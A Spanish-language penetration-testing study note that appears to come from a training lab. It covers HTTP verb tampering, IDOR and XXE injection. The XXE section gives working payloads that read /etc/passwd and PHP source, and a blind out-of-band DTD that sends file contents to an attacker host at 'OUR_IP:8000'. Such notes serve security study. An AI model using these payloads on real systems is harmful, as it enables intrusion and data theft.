Aprovecha que algunos servidores aceptan múltiples métodos HTTP. Enviando solicitudes con métodos inesperados se pueden eludir mecanismos de autorización. El protocolo admite hasta 9 métodos, algunos sensibles:
HEAD: solo recupera cabeceras, similar a GET
PUT: escribe datos en una ubicación
DELETE: elimina recursos
OPTIONS: muestra los métodos aceptados
PATCH: modificaciones parciales a un recurso
Por ejemplo, si solo los admins pueden resetear algo pero cambiamos el método en Burp, lo bypasseamos. También sirve para bypassear filtros de seguridad (inyectar un comando y cambiar a GET).
IDOR
Uno de los fallos más comunes, por mala implementación de los controles de acceso. Al usar identificadores directos (números secuenciales, IDs de usuario), un atacante puede adivinar otros identificadores y acceder a información que no le corresponde.
XXE Injection
Ataca aplicaciones que procesan XML. Con bibliotecas desactualizadas, un atacante puede enviar XML malicioso para que el servidor revele archivos locales, contraseñas o el código fuente.
Identificación
xml
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
Leer archivos sensibles
xml
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
Leer código fuente
xml
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=connection.php"> ]>
<root><email>&example;</email></root>
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://10.10.14.148:8000/xxe.dtd">
%xxe;
]>
<root><email>&joined;</email></root>
Exfiltración Blind (OOB)
Cuando el servidor no refleja el resultado, exfiltración out-of-band:
txt
# xxe.dtd en local
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">